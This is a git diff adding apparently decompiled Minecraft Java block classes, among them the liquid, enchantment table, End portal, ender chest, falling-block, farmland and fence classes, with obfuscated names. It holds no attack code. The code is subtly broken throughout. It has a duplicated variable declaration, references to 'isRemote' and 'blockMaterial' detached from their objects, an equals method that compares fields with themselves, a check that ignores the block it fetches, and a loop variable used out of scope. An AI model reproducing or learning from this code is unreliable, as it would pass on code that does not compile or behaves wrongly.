+        if ((!func_176372_g(worldIn, var8, var9)) && ((var9.getBlock().getMaterial() != blockMaterial) || (((Integer)var9.getValue(LEVEL)).intValue() > 0)))
+        {
+          if (!func_176372_g(worldIn, var8.offsetDown(), var9))
+          {
+            return p_176374_3_;
+          }
+          
+          if (p_176374_3_ < 4)
+          {
+            int var10 = func_176374_a(worldIn, var8, p_176374_3_ + 1, var7.getOpposite());
+            
+            if (var10 < var5)
+            {
+              var5 = var10;
+            }
+          }
+        }
+      }
+    }
+    
+    return var5;
+  }
+  
+  private Set func_176376_e(World worldIn, BlockPos p_176376_2_)
+  {
+    int var3 = 1000;
+    EnumSet var4 = EnumSet.noneOf(EnumFacing.class);
+    Iterator var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var5.hasNext())
+    {
+      EnumFacing var6 = (EnumFacing)var5.next();
+      BlockPos var7 = p_176376_2_.offset(var6);
+      IBlockState var8 = worldIn.getBlockState(var7);
+      
+      if ((!func_176372_g(worldIn, var7, var8)) && ((var8.getBlock().getMaterial() != blockMaterial) || (((Integer)var8.getValue(LEVEL)).intValue() > 0)))
+      {
+        int var9;
+        int var9;
+        if (func_176372_g(worldIn, var7.offsetDown(), worldIn.getBlockState(var7.offsetDown())))
+        {
+          var9 = func_176374_a(worldIn, var7, 1, var6.getOpposite());
+        }
+        else
+        {
+          var9 = 0;
+        }
+        
+        if (var9 < var3)
+        {
+          var4.clear();
+        }
+        
+        if (var9 <= var3)
+        {
+          var4.add(var6);
+          var3 = var9;
+        }
+      }
+    }
+    
+    return var4;
+  }
+  
+  private boolean func_176372_g(World worldIn, BlockPos p_176372_2_, IBlockState p_176372_3_)
+  {
+    Block var4 = worldIn.getBlockState(p_176372_2_).getBlock();
+    return blockMaterial == Material.portal;
+  }
+  
+  protected int func_176371_a(World worldIn, BlockPos p_176371_2_, int p_176371_3_)
+  {
+    int var4 = func_176362_e(worldIn, p_176371_2_);
+    
+    if (var4 < 0)
+    {
+      return p_176371_3_;
+    }
+    
+
+    if (var4 == 0)
+    {
+      field_149815_a += 1;
+    }
+    
+    if (var4 >= 8)
+    {
+      var4 = 0;
+    }
+    
+    return (p_176371_3_ >= 0) && (var4 >= p_176371_3_) ? p_176371_3_ : var4;
+  }
+  
+
+  private boolean func_176373_h(World worldIn, BlockPos p_176373_2_, IBlockState p_176373_3_)
+  {
+    Material var4 = p_176373_3_.getBlock().getMaterial();
+    return (var4 != blockMaterial) && (var4 != Material.lava) && (!func_176372_g(worldIn, p_176373_2_, p_176373_3_));
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!func_176365_e(worldIn, pos, state))
+    {
+      worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockEnchantmentTable.java b/src/minecraft/net/minecraft/block/BlockEnchantmentTable.java
new file mode 100644
index 0000000..48f1a77
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockEnchantmentTable.java
@@ -0,0 +1,123 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityEnchantmentTable;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class BlockEnchantmentTable extends BlockContainer
+{
+  private static final String __OBFID = "CL_00000235";
+  
+  protected BlockEnchantmentTable()
+  {
+    super(Material.rock);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.75F, 1.0F);
+    setLightOpacity(0);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    super.randomDisplayTick(worldIn, pos, state, rand);
+    
+    for (int var5 = -2; var5 <= 2; var5++)
+    {
+      for (int var6 = -2; var6 <= 2; var6++)
+      {
+        if ((var5 > -2) && (var5 < 2) && (var6 == -1))
+        {
+          var6 = 2;
+        }
+        
+        if (rand.nextInt(16) == 0)
+        {
+          for (int var7 = 0; var7 <= 1; var7++)
+          {
+            BlockPos var8 = pos.add(var5, var7, var6);
+            
+            if (worldIn.getBlockState(var8).getBlock() == Blocks.bookshelf)
+            {
+              if (!worldIn.isAirBlock(pos.add(var5 / 2, 0, var6 / 2))) {
+                break;
+              }
+              
+
+              worldIn.spawnParticle(EnumParticleTypes.ENCHANTMENT_TABLE, pos.getX() + 0.5D, pos.getY() + 2.0D, pos.getZ() + 0.5D, var5 + rand.nextFloat() - 0.5D, var7 - rand.nextFloat() - 1.0F, var6 + rand.nextFloat() - 0.5D, new int[0]);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 3;
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityEnchantmentTable();
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    TileEntity var9 = worldIn.getTileEntity(pos);
+    
+    if ((var9 instanceof TileEntityEnchantmentTable))
+    {
+      playerIn.displayGui((TileEntityEnchantmentTable)var9);
+    }
+    
+    return true;
+  }
+  
+
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    super.onBlockPlacedBy(worldIn, pos, state, placer, stack);
+    
+    if (stack.hasDisplayName())
+    {
+      TileEntity var6 = worldIn.getTileEntity(pos);
+      
+      if ((var6 instanceof TileEntityEnchantmentTable))
+      {
+        ((TileEntityEnchantmentTable)var6).func_145920_a(stack.getDisplayName());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockEndPortal.java b/src/minecraft/net/minecraft/block/BlockEndPortal.java
new file mode 100644
index 0000000..436b2f0
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockEndPortal.java
@@ -0,0 +1,107 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.item.Item;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityEndPortal;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockEndPortal extends BlockContainer
+{
+  private static final String __OBFID = "CL_00000236";
+  
+  protected BlockEndPortal(Material p_i45404_1_)
+  {
+    super(p_i45404_1_);
+    setLightLevel(1.0F);
+  }
+  
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityEndPortal();
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    float var3 = 0.0625F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, var3, 1.0F);
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return side == EnumFacing.DOWN ? super.shouldSideBeRendered(worldIn, pos, side) : false;
+  }
+  
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity) {}
+  
+
+
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    if ((ridingEntity == null) && (riddenByEntity == null) && (!isRemote))
+    {
+      entityIn.travelToDimension(1);
+    }
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    double var5 = pos.getX() + rand.nextFloat();
+    double var7 = pos.getY() + 0.8F;
+    double var9 = pos.getZ() + rand.nextFloat();
+    double var11 = 0.0D;
+    double var13 = 0.0D;
+    double var15 = 0.0D;
+    worldIn.spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var5, var7, var9, var11, var13, var15, new int[0]);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return null;
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return MapColor.obsidianColor;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockEndPortalFrame.java b/src/minecraft/net/minecraft/block/BlockEndPortalFrame.java
new file mode 100644
index 0000000..e8d0d63
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockEndPortalFrame.java
@@ -0,0 +1,116 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.world.World;
+
+public class BlockEndPortalFrame extends Block
+{
+  public static final PropertyDirection field_176508_a = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyBool field_176507_b = PropertyBool.create("eye");
+  private static final String __OBFID = "CL_00000237";
+  
+  public BlockEndPortalFrame()
+  {
+    super(net.minecraft.block.material.Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(field_176508_a, EnumFacing.NORTH).withProperty(field_176507_b, Boolean.valueOf(false)));
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public void setBlockBoundsForItemRender()
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.8125F, 1.0F);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.8125F, 1.0F);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    
+    if (((Boolean)worldIn.getBlockState(pos).getValue(field_176507_b)).booleanValue())
+    {
+      setBlockBounds(0.3125F, 0.8125F, 0.3125F, 0.6875F, 1.0F, 0.6875F);
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+    
+    setBlockBoundsForItemRender();
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(field_176508_a, placer.func_174811_aO().getOpposite()).withProperty(field_176507_b, Boolean.valueOf(false));
+  }
+  
+  public boolean hasComparatorInputOverride()
+  {
+    return true;
+  }
+  
+  public int getComparatorInputOverride(World worldIn, BlockPos pos)
+  {
+    return ((Boolean)worldIn.getBlockState(pos).getValue(field_176507_b)).booleanValue() ? 15 : 0;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176507_b, Boolean.valueOf((meta & 0x4) != 0)).withProperty(field_176508_a, EnumFacing.getHorizontal(meta & 0x3));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((EnumFacing)state.getValue(field_176508_a)).getHorizontalIndex();
+    
+    if (((Boolean)state.getValue(field_176507_b)).booleanValue())
+    {
+      var3 |= 0x4;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176508_a, field_176507_b });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockEnderChest.java b/src/minecraft/net/minecraft/block/BlockEnderChest.java
new file mode 100644
index 0000000..54ef4b2
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockEnderChest.java
@@ -0,0 +1,166 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.inventory.InventoryEnderChest;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityEnderChest;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class BlockEnderChest extends BlockContainer
+{
+  public static final PropertyDirection field_176437_a = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  private static final String __OBFID = "CL_00000238";
+  
+  protected BlockEnderChest()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(field_176437_a, EnumFacing.NORTH));
+    setCreativeTab(net.minecraft.creativetab.CreativeTabs.tabDecorations);
+    setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 0.875F, 0.9375F);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public int getRenderType()
+  {
+    return 2;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(net.minecraft.init.Blocks.obsidian);
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 8;
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return true;
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    return getDefaultState().withProperty(field_176437_a, placer.func_174811_aO().getOpposite());
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    worldIn.setBlockState(pos, state.withProperty(field_176437_a, placer.func_174811_aO().getOpposite()), 2);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    InventoryEnderChest var9 = playerIn.getInventoryEnderChest();
+    TileEntity var10 = worldIn.getTileEntity(pos);
+    
+    if ((var9 != null) && ((var10 instanceof TileEntityEnderChest)))
+    {
+      if (worldIn.getBlockState(pos.offsetUp()).getBlock().isNormalCube())
+      {
+        return true;
+      }
+      if (isRemote)
+      {
+        return true;
+      }
+      
+
+      var9.setChestTileEntity((TileEntityEnderChest)var10);
+      playerIn.displayGUIChest(var9);
+      return true;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityEnderChest();
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    for (int var5 = 0; var5 < 3; var5++)
+    {
+      int var6 = rand.nextInt(2) * 2 - 1;
+      int var7 = rand.nextInt(2) * 2 - 1;
+      double var8 = pos.getX() + 0.5D + 0.25D * var6;
+      double var10 = pos.getY() + rand.nextFloat();
+      double var12 = pos.getZ() + 0.5D + 0.25D * var7;
+      double var14 = rand.nextFloat() * var6;
+      double var16 = (rand.nextFloat() - 0.5D) * 0.125D;
+      double var18 = rand.nextFloat() * var7;
+      worldIn.spawnParticle(EnumParticleTypes.PORTAL, var8, var10, var12, var14, var16, var18, new int[0]);
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing var2 = EnumFacing.getFront(meta);
+    
+    if (var2.getAxis() == EnumFacing.Axis.Y)
+    {
+      var2 = EnumFacing.NORTH;
+    }
+    
+    return getDefaultState().withProperty(field_176437_a, var2);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFacing)state.getValue(field_176437_a)).getIndex();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176437_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockEventData.java b/src/minecraft/net/minecraft/block/BlockEventData.java
new file mode 100644
index 0000000..c13b4a3
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockEventData.java
@@ -0,0 +1,63 @@
+package net.minecraft.block;
+
+import net.minecraft.util.BlockPos;
+
+
+
+public class BlockEventData
+{
+  private BlockPos field_180329_a;
+  private Block field_151344_d;
+  private int eventID;
+  private int eventParameter;
+  private static final String __OBFID = "CL_00000131";
+  
+  public BlockEventData(BlockPos p_i45756_1_, Block p_i45756_2_, int p_i45756_3_, int p_i45756_4_)
+  {
+    field_180329_a = p_i45756_1_;
+    eventID = p_i45756_3_;
+    eventParameter = p_i45756_4_;
+    field_151344_d = p_i45756_2_;
+  }
+  
+  public BlockPos func_180328_a()
+  {
+    return field_180329_a;
+  }
+  
+
+
+
+  public int getEventID()
+  {
+    return eventID;
+  }
+  
+  public int getEventParameter()
+  {
+    return eventParameter;
+  }
+  
+  public Block getBlock()
+  {
+    return field_151344_d;
+  }
+  
+  public boolean equals(Object p_equals_1_)
+  {
+    if (!(p_equals_1_ instanceof BlockEventData))
+    {
+      return false;
+    }
+    
+
+    BlockEventData var2 = (BlockEventData)p_equals_1_;
+    return (field_180329_a.equals(field_180329_a)) && (eventID == eventID) && (eventParameter == eventParameter) && (field_151344_d == field_151344_d);
+  }
+  
+
+  public String toString()
+  {
+    return "TE(" + field_180329_a + ")," + eventID + "," + eventParameter + "," + field_151344_d;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFalling.java b/src/minecraft/net/minecraft/block/BlockFalling.java
new file mode 100644
index 0000000..5f968b5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFalling.java
@@ -0,0 +1,97 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockFalling extends Block
+{
+  public static boolean fallInstantly;
+  private static final String __OBFID = "CL_00000240";
+  
+  public BlockFalling()
+  {
+    super(Material.sand);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+  public BlockFalling(Material materialIn)
+  {
+    super(materialIn);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      checkFallable(worldIn, pos);
+    }
+  }
+  
+  private void checkFallable(World worldIn, BlockPos pos)
+  {
+    if ((canFallInto(worldIn, pos.offsetDown())) && (pos.getY() >= 0))
+    {
+      byte var3 = 32;
+      
+      if ((!fallInstantly) && (worldIn.isAreaLoaded(pos.add(-var3, -var3, -var3), pos.add(var3, var3, var3))))
+      {
+        if (!isRemote)
+        {
+          EntityFallingBlock var5 = new EntityFallingBlock(worldIn, pos.getX() + 0.5D, pos.getY(), pos.getZ() + 0.5D, worldIn.getBlockState(pos));
+          onStartFalling(var5);
+          worldIn.spawnEntityInWorld(var5);
+        }
+      }
+      else
+      {
+        worldIn.setBlockToAir(pos);
+        
+
+        for (BlockPos var4 = pos.offsetDown(); (canFallInto(worldIn, var4)) && (var4.getY() > 0); var4 = var4.offsetDown()) {}
+        
+
+
+
+        if (var4.getY() > 0)
+        {
+          worldIn.setBlockState(var4.offsetUp(), getDefaultState());
+        }
+      }
+    }
+  }
+  
+
+
+  protected void onStartFalling(EntityFallingBlock fallingEntity) {}
+  
+
+  public int tickRate(World worldIn)
+  {
+    return 2;
+  }
+  
+  public static boolean canFallInto(World worldIn, BlockPos pos)
+  {
+    Block var2 = worldIn.getBlockState(pos).getBlock();
+    Material var3 = blockMaterial;
+    return (var2 == Blocks.fire) || (var3 == Material.air) || (var3 == Material.water) || (var3 == Material.lava);
+  }
+  
+  public void onEndFalling(World worldIn, BlockPos pos) {}
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFarmland.java b/src/minecraft/net/minecraft/block/BlockFarmland.java
new file mode 100644
index 0000000..1b0751b
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFarmland.java
@@ -0,0 +1,162 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.BlockPos.MutableBlockPos;
+import net.minecraft.world.World;
+
+public class BlockFarmland extends Block
+{
+  public static final PropertyInteger field_176531_a = PropertyInteger.create("moisture", 0, 7);
+  private static final String __OBFID = "CL_00000241";
+  
+  protected BlockFarmland()
+  {
+    super(Material.ground);
+    setDefaultState(blockState.getBaseState().withProperty(field_176531_a, Integer.valueOf(0)));
+    setTickRandomly(true);
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.9375F, 1.0F);
+    setLightOpacity(255);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return new AxisAlignedBB(pos.getX(), pos.getY(), pos.getZ(), pos.getX() + 1, pos.getY() + 1, pos.getZ() + 1);
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    int var5 = ((Integer)state.getValue(field_176531_a)).intValue();
+    
+    if ((!func_176530_e(worldIn, pos)) && (!worldIn.func_175727_C(pos.offsetUp())))
+    {
+      if (var5 > 0)
+      {
+        worldIn.setBlockState(pos, state.withProperty(field_176531_a, Integer.valueOf(var5 - 1)), 2);
+      }
+      else if (!func_176529_d(worldIn, pos))
+      {
+        worldIn.setBlockState(pos, Blocks.dirt.getDefaultState());
+      }
+    }
+    else if (var5 < 7)
+    {
+      worldIn.setBlockState(pos, state.withProperty(field_176531_a, Integer.valueOf(7)), 2);
+    }
+  }
+  
+
+
+
+
+
+  public void onFallenUpon(World worldIn, BlockPos pos, Entity entityIn, float fallDistance)
+  {
+    if ((entityIn instanceof net.minecraft.entity.EntityLivingBase))
+    {
+      if ((!isRemote) && (rand.nextFloat() < fallDistance - 0.5F))
+      {
+        if ((!(entityIn instanceof EntityPlayer)) && (!worldIn.getGameRules().getGameRuleBooleanValue("mobGriefing")))
+        {
+          return;
+        }
+        
+        worldIn.setBlockState(pos, Blocks.dirt.getDefaultState());
+      }
+      
+      super.onFallenUpon(worldIn, pos, entityIn, fallDistance);
+    }
+  }
+  
+  private boolean func_176529_d(World worldIn, BlockPos p_176529_2_)
+  {
+    Block var3 = worldIn.getBlockState(p_176529_2_.offsetUp()).getBlock();
+    return ((var3 instanceof BlockCrops)) || ((var3 instanceof BlockStem));
+  }
+  
+  private boolean func_176530_e(World worldIn, BlockPos p_176530_2_)
+  {
+    Iterator var3 = BlockPos.getAllInBoxMutable(p_176530_2_.add(-4, 0, -4), p_176530_2_.add(4, 1, 4)).iterator();
+    
+    BlockPos.MutableBlockPos var4;
+    do
+    {
+      if (!var3.hasNext())
+      {
+        return false;
+      }
+      
+      var4 = (BlockPos.MutableBlockPos)var3.next();
+    }
+    while (worldIn.getBlockState(var4).getBlock().getMaterial() != Material.water);
+    
+    return true;
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+    
+    if (worldIn.getBlockState(pos.offsetUp()).getBlock().getMaterial().isSolid())
+    {
+      worldIn.setBlockState(pos, Blocks.dirt.getDefaultState());
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Blocks.dirt.getItemDropped(Blocks.dirt.getDefaultState().withProperty(BlockDirt.VARIANT, BlockDirt.DirtType.DIRT), rand, fortune);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.dirt);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176531_a, Integer.valueOf(meta & 0x7));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(field_176531_a)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176531_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockFence.java b/src/minecraft/net/minecraft/block/BlockFence.java
new file mode 100644
index 0000000..9c0bde9
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockFence.java
@@ -0,0 +1,192 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.ItemLead;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockFence
+  extends Block
+{
+  public static final PropertyBool NORTH = PropertyBool.create("north");
+  
+
+  public static final PropertyBool EAST = PropertyBool.create("east");
+  
+
+  public static final PropertyBool SOUTH = PropertyBool.create("south");
+  
+
+  public static final PropertyBool WEST = PropertyBool.create("west");
+  private static final String __OBFID = "CL_00000242";
+  
+  public BlockFence(Material p_i45721_1_)
+  {
+    super(p_i45721_1_);
+    setDefaultState(blockState.getBaseState().withProperty(NORTH, Boolean.valueOf(false)).withProperty(EAST, Boolean.valueOf(false)).withProperty(SOUTH, Boolean.valueOf(false)).withProperty(WEST, Boolean.valueOf(false)));
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    boolean var7 = func_176524_e(worldIn, pos.offsetNorth());
+    boolean var8 = func_176524_e(worldIn, pos.offsetSouth());
+    boolean var9 = func_176524_e(worldIn, pos.offsetWest());
+    boolean var10 = func_176524_e(worldIn, pos.offsetEast());
+    float var11 = 0.375F;
+    float var12 = 0.625F;
+    float var13 = 0.375F;
+    float var14 = 0.625F;
+    
+    if (var7)
+    {
+      var13 = 0.0F;
+    }
+    
+    if (var8)
+    {
+      var14 = 1.0F;
+    }
+    
+    if ((var7) || (var8))
+    {
+      setBlockBounds(var11, 0.0F, var13, var12, 1.5F, var14);
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+    
+    var13 = 0.375F;
+    var14 = 0.625F;
+    
+    if (var9)
+    {
+      var11 = 0.0F;
+    }
+    
+    if (var10)
+    {
+      var12 = 1.0F;
+    }
+    
+    if ((var9) || (var10) || ((!var7) && (!var8)))
+    {
+      setBlockBounds(var11, 0.0F, var13, var12, 1.5F, var14);
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+    
+    if (var7)
+    {
+      var13 = 0.0F;
+    }
+    
+    if (var8)
+    {
+      var14 = 1.0F;
+    }
+    
+    setBlockBounds(var11, 0.0F, var13, var12, 1.0F, var14);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    boolean var3 = func_176524_e(access, pos.offsetNorth());
+    boolean var4 = func_176524_e(access, pos.offsetSouth());
+    boolean var5 = func_176524_e(access, pos.offsetWest());
+    boolean var6 = func_176524_e(access, pos.offsetEast());
+    float var7 = 0.375F;
